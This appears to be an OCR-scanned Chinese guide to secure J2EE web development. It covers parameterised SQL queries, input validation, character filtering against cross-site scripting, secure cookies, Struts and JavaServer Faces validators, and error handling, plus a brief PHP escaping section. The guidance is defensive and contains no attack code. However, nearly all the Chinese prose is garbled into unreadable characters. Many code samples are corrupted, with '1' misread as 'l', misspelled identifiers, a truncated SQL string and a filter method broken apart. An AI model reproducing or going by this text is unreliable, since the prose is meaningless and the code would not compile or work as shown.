%Tz‘%%?}i‘ﬁjﬁﬁﬁﬁ%iﬁ SQL AN (MEEEEK SQL 240 M=Fm{T75i%. MHALITrEk, maEsidsteE sQL iE

[1] PreparedStatement, Bl Fi%ii% I HA7-4%1E PreparedStatement %1 %ii-h. PreparedStatement 5& X setter J7
%5, DAEM 5232471 JDBC SQL KM AMMASE. Flln, setString Bii%A T VARCHAR 5
LONGVARCHAR KA NS4 (G52 [[ Java API, DISREUE—ZRFEMEE) o B XFrgokik BEMmASE,
IR R E NIRRT (WG] SRERYL SQL ER).

{4 J2EE 1§ PreparedStatement {1711 :

// J2EE PreparedStatemenet Example
// Get a connection to the database
Connection myConnection;
if (isDataSourceEnabled()) {
// using the DataSource to get a managed connection
Context ctx = new InitialContext();
myConnection = ((DataSource)ctx.lookup (datasourceName)) .getConnection (dbUserName, dbPassword) ;
} else {
try {
// using the DriverManager to get a JDBC connection
Class.forName (jdbcDriverClassPath) ;
myConnection = DriverManager.getConnection (jdbcURL, dbUserName, dbPassword) ;
} catch (ClassNotFoundException e) {
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}

try {

PreparedStatement myStatement = myConnection.prepareStatement ("select * from users where username =

) ;
myStatement.setString(l, userNameField);
ResultSet rs = myStatement.executeQuery();

rs.close () ;
} catch (SQLException sglException) {

} finally {
myStatement.close();
myConnection.close() ;

[2] CallableStatement, /& PreparedStatement DAPAT 8 E SQL /2T 2. %354k 7K PreparedStatement (%A

setter J7v& GEZ B LM [1D .
DA /BB i 0 i B0 A7 i A

CREATE PROCEDURE select_user (@username varchar(20))
AS SELECT * FROM USERS WHERE USERNAME = @username;

WA J2EE 14§ CallableStatement LAHT LA E1#Aif i FE 0 7151«

// J2EE PreparedStatemenet Example

// Get a connection to the database

Connection myConnection;

if (isDataSourceEnabled()) {
// using the DataSource to get a managed connection
Context ctx = new InitialContext();

myConnection = ((DataSource)ctx.lookup (datasourceName)) .getConnection (dbUserName, dbPassword);

} else {
try |
// using the DriverManager to get a JDBC connection
Class.forName (jdbcDriverClassPath) ;
myConnection = DriverManager.getConnection (jdbcURL, dbUserName, dbPassword);
} catch (ClassNotFoundException e) {

}
}
try {
PreparedStatement myStatement = myConnection.prepareCall ("{?= call select user ?2,?}");
myStatement.setString(l, userNameField);
myStatement.registerOutParameter (1, Types.VARCHAR) ;
ResultSet rs = myStatement.executeQuery() ;

rs.close();
} catch (SQLException sglException) {

} finally {
myStatement.close () ;
myConnection.close() ;

[3] 524k Bean, RFEFALAMENLHIFT EIB LS55 . 524k Bean A FMIH: bean HHAA S EH,

2fF A bean

ERLRREAMERS, TP RFASTEE Uy M EE R SQL AU GESBILL B/ [1] 81 [2] #70) .« A ESE A

PERS, EJB A& HBAER SQL A, Rlitt, AR Z ARSI B s Sl B A i SQL RS
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el e J2EE Hfd FsE 4k Bean HIznfl:

// J2EE EJB Example

try f
// lookup the User home interface
UserHome userHome = (UserHome)context.lookup (User.class);

// find the User remote interface
User = userHome.findByPrimaryKey (new UserKey (userNameField)) ;

} catch (Exception e) {

}

HEFE A JAVA TR
ANiEH

ZE Gk
http://java.sun.com/j2se/1.4.1/docs/api/java/sql/PreparedStatement.html
http://java.sun.com/j2se/1.4.1/docs/apil/java/sql/CallableStatement.html

I NBARIGE: BN P AR P 2 SRR IR, HABL A Serviet £ 4542 L BATEHEIGIE .
B A B iR 4, UM SBIGIE nl f S et , ldn, iEid2E Javascript.

— U R THIE R TR B Web BFFEFHESE, DURMLAR S dsun SRR BIRE, MIMIGIE LA T A [1] 7R FB2] 7B
BHiRA (BEBOLT, A HTTP RS T/ 87 [3] FEK 4] FBHLF[5] 7 BHETi[6] 7B \[7]
cookieffE[S] HTTP Wi B4 B2 28 L BBV E N IR a " SE FFE 2R R S v s2 . LRS84 AR B0 IR 88 2510
— Al

[1] B FHFERGE R EZEA NS, FHEEKEERTE, PMFTEMSHR .

LIEEE AN S S SN R

// Java example to validate required fields
public Class Validator {

public static boolean validateRequired(String value) {
boolean isFieldValid = false;
if (value != null && value.trim().length() > 0) {
isFieldvalid = true;
}

return isFieldvalid;

}

String fieldValue = request.getParameter ("fieldName") ;
if (Validator.validateRequired(fieldvalue)) {
// fieldValue is valid, continue processing request

[2] FNT) Web IR P b i) - B B R AR N S8Rt Biltn, i HTTP 15 SRS 408K cookie {H I AL #R f& “ 545
B JFRHE M TURUER A SRR AR T IEH . T Java EARGREREF I, RGBT T 7 B 2 A Hh 4o BT
BAEKCT B (Gnt KD 1977 5 7R 6l

// Java example to validate that a field is an int number
public Class Validator ({
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public static boolean validatelInt (String value) {
boolean isFieldvValid = false;
try {
Integer.parselnt (value);
isFieldvalid = true;
} catch (Exception e) {
isFieldvalid = false;
}

return isFieldvalid;

}

// check if the HTTP request parameter is of type int
String fieldValue = request.getParameter ("fieldName") ;
if (Validator.validateInt (fieldValue)) {

// fieldValue is valid, continue processing request

UF SRR T HTTP 5 SRS H Oy I8 B R R BN, TFAE RO IS KRS 801 ‘integerValue fAA# 7E 15 K
JETEF, I35 LR R B p s oR A3«

// Example to convert the HTTP request parameter to a primitive wrapper data type
// and store this value in a request attribute for further processing
String fieldValue = request.getParameter ("fieldName") ;
if (Validator.validateInt (fieldValue)) {
// convert fieldValue to an Integer
Integer integerValue = Integer.getInteger (fieldvalue);
// store integerValue in a request attribute
request.setAttribute ("fieldName", integerValue);

}

// Use the request attribute for further processing
Integer integerValue = (Integer)request.getAttribute ("fieldName");

B AR R AL PR IR £ 2 Java HdE R
- Byte

- Short

- Integer

- Long

- Float

- Double

- Date

[3] ZEK B SAA NS E (HTTP 5k S35 cookie {8) 1 /M EEF/E K FERIBRS] . LU R RBI3E
userName FE K E R EBTE 8 & 20 NFERFZIA:

// Example to validate the field length
public Class Validator ({

public static boolean validatelLength(String value, int minLength, int maxLength) {
String validatedValue = value;
if (!validateRequired(value)) {
validatedvalue = "";
}
return (validatedValue.length() >= minLength &&
validatedValue.length() <= maxLength);
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String userName = request.getParameter ("userName") ;
if (Validator.validateRequired (userName)) {
if (Validator.validateLength (userName, 8, 20)) {
// userName is valid, continue further processing

[4] F-Biu
IRAB IR NS EURLE D RE R SRk e LHITE R .
DL =5 E % N numberOfChoices /&5 7E 10 & 20 . [f]:

// Example to validate the field range
public Class Validator ({

public static boolean validateRange (int value, int min, int max) {
return (value >= min && value <= max);

}

}

String fieldValue = request.getParameter ("numberOfChoices") ;
if (Validator.validateRequired (fieldvalue)) {
if (Validator.validatelInt (fieldvalue)) {
int numberOfChoices = Integer.parselnt (fieldValue) ;
if (Validator.validateRange (numberOfChoices, 10, 20)) {
// numberOfChoices is valid, continue processing request

[5] FBk I Web N HFE 785 2~ A En— A g mEEm (Flin, f#H SELECT HTML Fxid) , {EAREPAT
R 45 B8 i B AIE DUR AR08 S8 PO R Ho b — AN O VFRIE T 3590, SBE BRI S B SUT IR TME . AR Thfe T
SR X2 VIR DR IR IE 2 I P8 . PATF /B3R IE A P F XS Se VR E 81 SR AT I I

// Example to validate user selection against a list of options
public Class Validator ({

public static boolean validateOption (Object[] options, Object value) {

boolean isValidValue = false;
try {

List list = Arrays.asList (options);

if (list != null) {

isValidvValue = list.contains (value) ;

}
} catch (Exception e) {
}

return isValidValue;

}

// Allowed options
String[] options = {"optionl", "option2", "option3"):;
// Verify that the user selection is one of the allowed options
String userSelection = request.getParameter ("userSelection");
if (Validator.validateOption (options, userSelection)) {

// valid user selection, continue processing request

2019/6/24 161



[6] 7B
IR E R NS I RE 7 R € R RIS, i, R userName 7 BUNAX o iF 7 BT 745, HAKX Y

KNG, IBATEMEH LT IENERILK: Ma-zA-Z0-9]*$

Java 1.3 B R RAN G AL IEN AN, @0k Apache IENFEAM” GEZR LR RIED 5 Java 1.3 —
AEAER], DU RAZER Z SCRFA IR AT 1R W RIK RIE 7= 451«

// Example to validate that a given value matches a specified pattern
// using the Apache regular expression package

import org.apache.regexp.RE;

import org.apache.regexp.RESyntaxException;

public Class Validator ({

public static boolean matchPattern(String value, String expression) {
boolean match = false;
if (validateRequired (expression)) {
RE r = new RE (expression);
match = r.match (value);
}

return match;

}

// Verify that the userName request parameter is alpha-numeric
String userName = request.getParameter ("userName") ;
if (Validator.matchPattern (userName, ""[a-zA-Z0-9]*S$")) {

// userName is valid, continue processing request

Java 1.4 5|t 7 — R IEN FE R (java.utilregex) o BLUNRAAHETK Java 1.4 ENRARAK
Validator.matchPattern 1&1T i :

// Example to validate that a given value matches a specified pattern
// using the Java 1.4 regular expression package

import java.util.regex.Pattern;

import java.util.regexe.Matcher;

public Class Validator ({

public static boolean matchPattern(String value, String expression) {
boolean match = false;
if (validateRequired (expression)) {
match = Pattern.matches (expression, value);

}

return match;

[7] cookie {E{#i [f] javax.servlet.http.Cookie Xf % RKUIE cookie {H. i& T cookie {E AH R AFISIEA I (i L FTid) B
WF AT RR NI FE. BIFKES .
YSUEL 7 cookie H IR :

// Example to validate a required cookie value
// First retrieve all available cookies submitted in the HTTP request
Cookie[] cookies = request.getCookies();
if (cookies != null) {
// find the "user" cookie
for (int i1=0; i<cookies.length; ++i) {

2019/6/24
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if (cookies[i].

getName () .equals ("user")) {

// validate the cookie value

if (Validator.validateRequired (cookies[i].getValue())

// valid cookie value, continue processing request

[8] HTTP i

[8-1] I I8 P/ g N\ B ORI 1N PR P i L 185 3w RS S ) PR B ek, 906 e A UK 7

HTML, X¥8E HTML BUR 7R/ <>""'% ;) (& +

LU 75 91 e K 0 A e 380 g X L 1“7 A s A R i i o

// Example to filter sensitive data to prevent cross-site scripting

public Class Validator

{

public static String filter (String value) {
if (value == null) {
return null;

}

StringBuffer result = new StringBuffer (value.length());
i<value.length(); ++i) {

for (int i=0;

switch (value.charAt(i)) {

case '<':

result.

break;
case '>':

result.

break;
casE Wi

result.

break;
case '"\'':

result.

break;
case '%':

result.

break;
case ';':

result.

break;
case '(':

result.

break;
case ')':

result.

break;
case '&':

result.

break;
case '+':

result.

break;
default:

result.

break;
}

return result;

}

append ("&1t;") ;

append ("&gt;") ;

append ("&quot; ") ;

append ("&#39;") ;

append ("&#37;") ;

append ("&#59;") ;

append ("&#40;") ;

append ("&#41;") ;

append (" &amp; ") ;

append ("&#43;") ;

append (value.charAt (i)) ;

// Filter the HTTP response using Validator.filter
PrintWriter out = response.getWriter();

// set output response

out.write(Validator.filter (response));

out.close();
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Java Serviet AP1 2.3 513t 7388y, B R AL HTTP & R 8m M
PL R Rfl4$ B Validator filter & F“Serviet i3 & 5 7 £ i 5 ;

// Example to filter all sensitive characters in the HTITP response using a Java Filter.

// This example is for illustration purposes since it will filter all content in the response, including
HTML tags!

public class SensitiveCharsFilter implements Filter {

public void doFilter (ServletRequest request,
ServletResponse response,
FilterChain chain)
throws IOException, ServletException {

PrintWriter out = response.getWriter();

ResponseWrapper wrapper = new ResponseWrapper ( (HttpServletResponse) response) ;
chain.doFilter (request, wrapper);

CharArrayWriter caw = new CharArrayWriter();
caw.write(Validator.filter (wrapper.toString()));

response.setContentType ("text/html") ;
response.setContentLength (caw.toString () .length()) ;
out.write (caw.toString());

out.close();

}

public class CharResponseWrapper extends HttpServletResponseWrapper {
private CharArrayWriter output;

public String toString() {
return output.toString();

}

public CharResponseWrapper (HttpServletResponse response) {
super (response) ;
output = new CharArrayWriter();

}

public PrintWriter getWriter () {
return new PrintWriter (output);

}

[8-2] &4 cookie

7E cookie FFEHUBRSIERT, IR H Cookie.setSecure (Fi/Rix&) £ HTTP MM AR & cookie M 4brd, DA
F8 500 U B4 FH 2 AW (Bin HTTPS 8( SSL) &i% cookie.

15347 F"cookie 11711 :

// Example to secure a cookie, i.e. instruct the browser to
// send the cookie using a secure protocol

Cookie cookie = new Cookie("user", "sensitive");
cookie.setSecure (true) ;

response.addCookie (cookie) ;

HEFAL 1 JAVA TR T 55 28 i J0iE (1 > 22 Java HESE 2
[1] Jakarta Commons Validator (5 Struts 1.1 #£%) Jakarta Commons Validator SZjii fT A LA - $E0IE T K, A2
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KMFESE X LR T B 7 8 R B B A IR UERU ) XML SO TEEEBOLR, Struts SCRFTEATH
Struts“bean:write”AriC #E S () A Bt b, U8 [8] HTTP mi B ihi e i MG B 2 4% . ml il i i B “filter=false” b & sk 25 H
Struts & LA T A NIGIESS, (AT & SCE MRS

required: WIERFEBAE TR AMUEMTEAF, EEH).

mask: 1A 5D )E 45 B 1) E RS AHTEE, (85 8T

range: WIRELE min A1 max J& 4 METEE N ((value >= min) & (value <= max)) , fH&5 ).
maxLength: WRFEKRENTEBET max J@ME, (#5%.

minLength: IRFEKERTEET min @ik, #EH5.

byte. short. integer. long. float. double: 5% AN RAE FE 45 NS B [ FEAR ST, (B 25 BTN

date: WIREARFAREW, oI, TRzt H R,

creditCard: WIRAF LUE A MBS H RS, Hd M.

e-mail: W RAE T DU R0 T Rt fE 25 R Th

1 F“Struts B&1IF 33" K IGE loginForm (1) userName 7B )7~ :

<form-validation>
<global>

<validator name="required"
classname="org.apache.struts.validator.FieldChecks"
method="validateRequired"
msg="errors.required">
</validator>
<validator name="mask"
classname="org.apache.struts.validator.FieldChecks"
method="validateMask"
msg="errors.invalid">
</validator>
</global>
<formset>
<form name="loginForm">
<!-- userName is required and is alpha-numeric case insensitive -->
<field property="userName" depends="required,mask">
<!-- message resource key to display if validation fails -->
<msg name="mask" key="login.userName.maskmsg" />
<arg0 key="login.userName.displayname"/>
<var>
<var-name>mask</var-name>
<var-value>"[a-zA-7Z0-9]*$</var-value>
</var>
</field>

</form>
</formset>
</form-validation>

[2] JavaServer Faces A

“JavaServer Faces fiAR"&—HE Ul A4F. FEAMRRES. M IFAHFRARIER Java APl (JSR 127) .
JavaServer Faces AP| sEHL UL FEREARIGUESS, (HAE ERIHILIESS: validate_doublerange: 7404 b3/t
DoubleRangeValidator

validate_length: fE41#F -7/t LengthValidator

validate_longrange: fEZH{4 LiEf LongRangeValidator

validate_required: 74014 i/ RequiredValidator

validate_stringrange: fEZH{4 i3/t StringRangeValidator

validator: 7EZH44F i Mt 2 i 7 Validator

JavaServer Faces API 52 X LR Ulinput #1 UlOutput 4bFE2S (FRiE) -

input_date: %32\ java.text.Date Szfi#% :AL ) java.util.Date

output_date: EsxLA java.text.Date SZf5i# AL java.util.Date

input_datetime: %3/ java.text.DateTime 24k 2 AL java.util.Date

output_datetime: Z7xPA java.text.DateTime SZfi#& AL java.util.Date

input_number: &/~ LA java.text. NumberFormat #2040 3748 288 (java.lang.Number a{JE AR )
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output_number: 7L java.text.NumberFormat #% LRI EFHE KA (java.lang.Number BiEEARSEAL)
input_text: 5% AT AR

output_text: HRFATUAFRTE.

input_time: 3%\ java.text.DateFormat i [a] S5 #% =X 4L 1 java.util.Date
output_time: E77LL java.text.DateFormat i [A] Sz45i i AL ¥ java.util. Date
input_hidden: 7 ¥ T THIAE 34 7 T2 T AL 45 R AL =

input_secret: AT THIIRATOR, HIERAR, BHERA—HES
input_textarea: %L1 CA

output_errors: ERBEATUHMIEHRE S, D582 A P bk AR B4 152 H 2
output_label: Kk E R SR NI BN T BUIARES

output_message: EiRAHLIE R

{# F JavaServer Faces sKI¥iF loginForm 1) userName FEX [K7= 11 :

<%@ taglib uri="http://java.sun.com/jsf/html" prefix="h" %>
<%@ taglib uri="http://java.sun.com/jsf/core" prefix="f" %>

<jsp:useBean id="UserBean"
class="myApplication.UserBean" scope="session" />
<f:use_faces>
<h:form formName="loginForm" >
<h:input text id="userName" size="20" modelReference="UserBean.userName">
<f:validate_required/>
<f:validate length minimum="8" maximum="20"/>
</h:input_text>
<!-- display errors if present -->
<h:output errors id="loginErrors" clientId="userName"/>
<h:command button id="submit" label="Submit" commandName="submit" /><p>
</h:form>
</f:use_faces>

51 H

Java APl 1.3 -

http://java.sun.com/j2se/1.3/docs/api/

Java APl 1.4 -

http://java.sun.com/j2se/1.4/docs/api/

Java Servlet API 2.3 -

http://java.sun.com/products/servlet/2.3/javadoc/

Java IENFiE{E —

http://jakarta.apache.org/regexp/

Jakarta I3 iE#E —

http://jakarta.apache.org/commons/validator/

JavaServer Faces A —

http://java.sun.com/j2ee/javaserverfaces/

“* EERALEE

Vr% J2EE Web RHIFE A R4 AGEE AL B F i 2 (MVC) "B, AR, Serviet #0351 il &3 i) A1

iy, Servlet ¥ B FHFEFF AL HZEIR 4 EJB 41 Bean (4D 2 2K JavaBean. /5, Serviet F#iiE R k4 JSP
(ED , DIRIAEELIR ., Serviet RAGA A MM Hith IRERD. HRARSF DA R H, DA IRSEPRAL 4%

TRHIHEAT .

R Y0 UE v PRy N IR 7 S SR B, T A A B S U2 B 1k 7 TR P i At e P B RV S (e

HERRERER) FrANTIBURY . L R4S AL 2 S0 23 Kb B DA R T3

[1] 5 M AHiR

[2] 0 A iR

[3] EH4tiR

[4] SR

[1] 5 AR

G AE N IRE 2 (0 Serviet) R Sw i E R So A, IFTAR PP S22 M6 Bl S 380 0 00 7 PR e i e ) i R

e WFpfed R e RS, HiZ8R S HEUE B HTML R Bk oAb Bean BHERIAEMN . flln, 4R

Tuser_name" 7B, HHNFNTFEET, HHLIIELIEEFRME—, AT LU FHRE -
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http://java.sun.com/j2se/1.3/docs/api/
http://java.sun.com/j2se/1.4/docs/api/
http://java.sun.com/products/servlet/2.3/javadoc/
http://jakarta.apache.org/regexp/
http://jakarta.apache.org/commons/validator/
http://java.sun.com/j2ee/javaserverfaces/

(a) ERROR_USERNAME_REQUIRED: Z4RZHA T RRHE, LudsmA " &E user_name"FE;

(b) ERROR_USERNAME_ALPHANUMERIC: ZHREHANTEREE, DUl ‘user_name” BN Z 2 FRHEL
¥

(c) ERROR_USERNAME_DUPLICATE: ﬁffai%“*%ﬂﬂﬁm?iﬁw LU %1 H F “user_name B ESHEFEH E L ;

(d) ERROR_USERNAME_INVALID: Zf % HH TSR —BE S, BUBZIH P “user_name B L3

B O A 5 ST A7 A R 25 B2 PR A P A DA RE4E Java 2%

- ErrorKeys: & XA 1R % H

// Example ErrorKeys defining the following error keys:

// ERROR_USERNAME_REQUIRED

/7 - ERROR_USERNAME ALPHANUMERIC

// - ERROR_USERNAME_DUPLICATE

// - ERROR_USERNAME_ INVALID

//

publlc Class ErrorKeys {
public static final String ERROR USERNAME REQUIRED = "error.username.required";
public static final String ERROR USERNAME ALPHANUMERIC = "error.username.alphanumeric";
public static final String ERROR_USERNAME DUPLICATE = "error.username.duplicate";
public static final String ERROR USERNAME_ INVALID = "error.username.invalid";

- Error:  HEEAGIE %

// Example: Error encapsulates an error key.
// Error is serializable to support code executing in multiple JVMs.
public Class Error implements Serializable {

// Constructor given a specified error key
public Error (String key) {

this (key, null);
}

// Constructor given a specified error key and array of placeholder objects
public Error (String key, Object[] values) {

this.key = key;

this.values = values;

}

// Returns the error key
public String getKey() {
return this.key;

}

// Returns the placeholder values
public Object[] getValues() {
return this.values;

}

private String key = null;
private Object[] values = null;

- Errors: #HEIEEHRIIES

// Example: Errors encapsulates the Error objects being reported to the presentation layer.
// Errors are stored in a HashMap where the key is the bean property name and value is an
// ArraylList of Error objects.

public Class Errors implements Serializable ({

// Adds an Error object to the Collection of errors for the specified bean property.
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public void addError (String property, Error error) {
ArrayList propertyErrors = (ArrayList)errors.get (property);
if (propertyErrors == null) {
propertyErrors = new ArraylList();
errors.put (property, propertyErrors);
}

propertyErrors.put (error) ;

// Returns true if there are any errors
public boolean hasErrors () {
return (errors.size > 0);

// Returns the Errors for the specified property
public ArrayList getErrors (String property) {
return (Arraylist)errors.get (property);

private HashMap errors = new HashMap () ;

DA A8 A R AE 2L R b i “user_name” B 4R LE Hf i R 7~ 51«

// Example to process validation errors of the "user name" field.

Errors errors = new Errors();

String userName = request.getParameter ("user name");

// (a) Required validation rule

if (!Validator.validateRequired (userName)) {
errors.addError ("user_name", new Error (ErrorKeys.ERROR USERNAME REQUIRED)) ;

} // (b) Alpha-numeric validation rule

else if (!Validator.matchPattern (userName, ""[a-zA-Z0-9]*$")) {
errors.addError ("user_name", new Error (ErrorKeys.ERROR USERNAME ALPHANUMERIC)) ;

}

else

{
// (c) Duplicate check validation rule
// We assume that there is an existing UserValidationEJB session bean that implements
// a checkIfDuplicate () method to verify if the user already exists in the database.
try {

if (UserValidationEJB.checkIfDuplicate (userName)) {
errors.addError ("user_name", new Error (ErrorKeys.ERROR USERNAME DUPLICATE)) ;
}
} catch (RemoteException e) {
// log the error
logger.error ("Could not validate user for specified userName: " + userName);
errors.addError ("user_name", new Error (ErrorKeys.ERROR_USERNAME DUPLICATE) ;

}
// set the errors object in a request attribute called "errors"
request.setAttribute ("errors", errors);

[2] M5 4R

BRI RS web 28 TR AR
(a) Servlet #iFHL i

(b) JSP HEZHLHI

[2-a] Serviet iR L]

Servlet ] i@ LR 77 AR £t

- BERATN JSP (B R AR E R B B

- HTTP 452 S H0k I H response.sendError, B,
- i
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USSR A T CLA B PR A R (o [1] 5820 Frid) , B X R aE s KRB, R KA HN JSP.
A JSP B RERREE, RN H P ERANEE . DU o) B R i\ JSP (userlinput.jsp) 773

// Example to forward to the userInput.jsp following user validation errors
RequestDispatcher rd = getServletContext () .getRequestDispatcher ("/user/userInput.jsp");
if (rd != null) {

rd. forward (request, response);

}

N Servlet TiEFE KA T RN JSP T, A Ak response.sendError J7772%, ¥
HttpServietResponse.SC_INTERNAL_SERVER_ERROR CIRZHH 5000 1E NS4, Sk d4hiik. S M
javax.servlet.http.HttpServietResponse ] Javadoc, PAIRHUCH & F HTTP IRZSIDIEE £ 3415 . R HTTP £5i%
7~ -

// Example to return a HTTP error code
RequestDispatcher rd = getServletContext ().getRequestDispatcher ("/user/userInput.jsp");
if (rd == null) {
// messages is a resource bundle with all message keys and values
response.sendError (HttpServletResponse.SC_ INTERNAL SERVER ERROR,
messages.getMessage (ErrorKeys.ERROR_USERNAME INVALID)) ;

TERNBIEIITB, Serviet if LUith 5%, HizimH LaUe bl PP —3173: - RuntimeException -
ServletException - IOException

[2-b] JSP &AL

JSP T E X errorPage D KIS, DAACHEATI 5%, L R sl fs:

<%@ page errorPage="/errors/userValidation.jsp" %>

KA JSP S E % K418 € 1) errorPage, I B R 46 7% W B L4 19 javax.serviet.jsp.jspException iE R Z%L
o, FER T A ALEE isErrorPage thig4, WTFFR:

<%@ page isErrorPage="true" %>

isErrorPage 4454 5 2 “exceptionE & W 4G 1A ATl tH 1 5 5 5

[3] 2Bk R

J2SE Internationalization AP1 $& 4L 5 FH 27 SR AR 40 DL RCKs i BAs AL s L FR P 28, Hop s

(a) HIFER

(b) W 21k

[3-a] HHEIR

%ﬂiiﬁﬁ%iﬂ%%ﬂﬁ%)\ﬁﬂ%iZ%I?EE‘J%Eﬁﬁ%*%%ﬂ%i%IWJCO B — BIR R AR S N E WG = PR BT A s e X
\JHRERT

java.util.PropertyResourceBundle ¥4 N B AZ i 7E A 8 M4 b, i b7 el BHRE WL, a0l R o6 fas

hfHHHAEE RS
# ErrorMessages.properties
FHAHAE R
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# required user name error message
error.username.required=User name field is required

# invalid user name format
error.username.alphanumeric=User name must be alphanumeric

# duplicate user name error message
error.username.duplicate=User name {0} already exists, please choose another one

A 2P, SRR RIMIES I (FA TR o #illn, wE X ErrorMessages_fr.properties PASZ#Fi%
WRRFINEE R . WRIE R IE 5B R IR ANAELE, a2 R . R FoRflr, Bad B2
ErrorMessages.properties. M ATEF (JSP 5k Serviet) £R¥E 7 118 5 B ME LB FER RN A .

[3-b] H B =k

J2SE #7#E% java.util. MessageFormat £ it {57 F & 46 5 LA R G 98 B IR B 7% . MessageFormat X KA EHRAN T
XU AR 7/ 8, W T HTR:

// Example to show how to format a message using placeholder parameters
String pattern = "User name {0} already exists, please choose another one";
String userName = request.getParameter ("user_name");

Object[] args = new Object[1l];

args[0] = userName;

String message = MessageFormat.format (pattern, args);

PATF &1# ] ResourceBundle #1 MessageFormat i 5 F 4 5 78 B A 58 4 i i

// Example to render an error message from a localized ErrorMessages resource (properties file)
// Utility class to retrieve locale-specific error messages
public Class ErrorMessageResource {

// Returns the error message for the specified error key in the environment locale
public String getErrorMessage (String errorKey) {
return getErrorMessage (errorKey, defaultLocale);

}

// Returns the error message for the specified error key in the specified locale
public String getErrorMessage (String errorKey, Locale locale) {
return getErrorMessage (errorKey, null, locale);

}

// Returns a formatted error message for the specified error key in the specified locale
public String getErrorMessage (String errorKey, Object[] args, Locale locale) {
// Get localized ErrorMessageResource
ResourceBundle errorMessageResource = ResourceBundle.getBundle ("ErrorMessages", locale);
// Get localized error message
String errorMessage = errorMessageResource.getString(errorKey) ;
if (args != null) {
// Format the message using the specified placeholders args
return MessageFormat.format (errorMessage, args);
} else {
return errorMessage;

}

// default environment locale
private Locale defaultLocale = Locale.getDefaultLocale();

}

// Get the user's locale

Locale userLocale = request.getLocale();

// Check if there were any validation errors

Errors errors = (Errors)request.getAttribute ("errors");
if (errors != null && errors.hasErrors()) {
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// iterate through errors and output error messages corresponding to the "user name" property
ArrayList userNameErrors = errors.getErrors("user_ name");
ListIterator iterator = userNameErrors.iterator();
while (iterator.hasNext()) {
// Get the next error object
Error error = (Error)iterator.next();
String errorMessage = ErrorMessageResource.getErrorMessage (error.getKey (), userLocale);
output.write (errorMessage + "\r\n");

AUGE EH] JSP ki (Wi displayErrors) , PLEACALH I 2B RE S, WLl ERBIATR.

[4] iR et

BHIEOLT, “Serviet 548”2 IR [B] 50 SR A0 B 35 ARG B A B8 A% DUTH . 7T DA ) 5% U THD SR B e RS Y
WAFH S Web FIRZ MRS . IFRIMEEERTFF R A S EE A RS ISR TUH (BB, K
Servlet FREHI R N FHHRHE R o IZMUTE B A Web #E 1R 7F (web.xmD) d1, dnbL FoRl s & -

<!-- Mapping of HTTP error codes and application exceptions to error pages -->

<error-page>
<exception-type>UserValidationException</exception-type>
<location>/errors/validationError.html</error-page>

</error-page>

<error-page>
<error-code>500</exception-type>
<location>/errors/internalError.html</error-page>

</error-page>

<error-page>

</error-page>

HEFAT I JAVA TR H T I 5% as Bl (A~ 32 Java HEZE
[1] Jakarta Commons Validator (5 Struts 1.1 #£%) Jakarta Commons Validators2 Java HEZY, & 40 Bk 4T iR

ARFEATLH o BEIEREMAL B AE XML SRR, S0 X T 3R B B3 N SRR U0 DL K 87 (R B8 E #5225 4H . Struts 12
A BRAk S7 R DI B2 IR R AT B 2L kA A bk N FE I .
{4 FH“Struts J&1iF 2% KR loginForm [¥) userName & B ({7~ -

<form-validation>
<global>

<validator name="required"
classname="org.apache.struts.validator.FieldChecks"
method="validateRequired"
msg="errors.required">

</validator>

<validator name="mask"
classname="org.apache.struts.validator.FieldChecks"
method="validateMask"
msg="errors.invalid">

</validator>
</global>
<formset>
<form name="loginForm">
<!-- userName is required and is alpha-numeric case insensitive -->
<field property="userName" depends="required,mask">
<!-- message resource key to display if validation fails -->

<msg name="mask" key="login.userName.maskmsg"/>
<arg0 key="login.userName.displayname"/>
<var>
<var-name>mask</var-name>
<var-value>"[a-zA-7Z0-9]*$</var-value>

2019/6/24 171



</var>
</field>

</form>
</formset>
</form-validation>

Struts JSP Fric € X 1A s A SR — A RiFRTR I S ) errors™brid, WL oGl iTR -

<%@ page language="java" %>
<%@ taglib uri="/WEB-INF/struts-html.tld" prefix="html" %
<%@ taglib uri="/WEB-INF/struts-bean.tld" prefix="bean" %
<html:html>
<head>
<body>
<html:form action="/logon.do">
<table border="0" width="100%">
<tr>
<th align="right">
<html:errors property="username"/>
<bean:message key="prompt.username"/>
</th>
<td align="left">
<html:text property="username" size="16"/>
</td>
</tr>
<tr>
<td align="right">
<html:submit><bean:message key="button.submit"/></html:submit>
</td>
<td align="right">
<html:reset><bean:message key="button.reset"/></html:reset>
</td>
</tr>
</table>
</html:form>
</body>
</html:html>

>
>

[2] JavaServer Faces K
“JavaServer Faces A" 2 —HARE Ul A, FHEAMRES. GBEFEA. RUFR AR SR ERLT Java APl (JSR
127) .

JavaServer Faces API 52 ¥ “output_errors”UlQutput AbHEEE, ZANH 8% BR8N TUH A RTE R, BUS5 48 e 1% i
PR SR A R B
i Fil JavaServer Faces SRIiE loginForm [#) userName FEX )7~ 11 :

<%@ taglib uri="http://java.sun.com/jsf/html" prefix="h"
<%@ taglib uri="http://java.sun.com/jsf/core" prefix="f"

o

o
AR

<jsp:useBean id="UserBean"
class="myApplication.UserBean" scope="session" />
<f:use_faces>
<h:form formName="loginForm" >
<h:input_text id="userName" size="20" modelReference="UserBean.userName">
<f:validate_required/>
<f:validate_length minimum="8" maximum="20"/>
</h:input_text>
<!-- display errors if present -->
<h:output_errors id="loginErrors" clientId="userName"/>
<h:command button id="submit" label="Submit" commandName="submit" /><p>
</h:form>
</f:use_faces>
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51 H

Java API 1.3 -
http://java.sun.com/j2se/1.3/docs/api/

Java APl 1.4 -
http://java.sun.com/j2se/1.4/docs/api/

Java Servlet API1 2.3 -
http://java.sun.com/products/servlet/2.3/javadoc/
Java IEMIZiE A —
http://jakarta.apache.org/regexp/

Jakarta JGiFE#E —
http://jakarta.apache.org/commons/validator/
JavaServer Faces A —
http://java.sun.com/j2ee/javaserverfaces/

PHP
o SR PH

RAEMT AL 25 SQL A2 HT, NS ARERAKE Bl j. R sl &Avid. EaEM ATk
VR TE N BRI AL BIIA Bodl B 2 A8 5 2 5 1

P EAING] S
ARARMEAE R, R v, RS SRR B, RIS, MySQL feiritisiibieR.
o UHE A

IS8 MySQL 4.3.0 BUE T HIRCA, %5 1%H mysql_real_escape_string() k% U E 7478 . dn A8 I IH AR
MySQL, {HRiZ{#EH mysql_escape_string() Bi%t. AR ARMEH MySQL, AT DLIEFAE A4 e 2088 B 10455 € #h h
fto WIRAIEHIDIIAE, &R LRFA R — B hae, #lin, addslashes().

ﬁﬂigﬂﬂ PEAR DB %4l FEfili %), #77 LA A DB::quote() JVEEAEH] 2 2 RMAE W) HALRF, o H 3 U8 difr
FFHIME .

ZE Gk
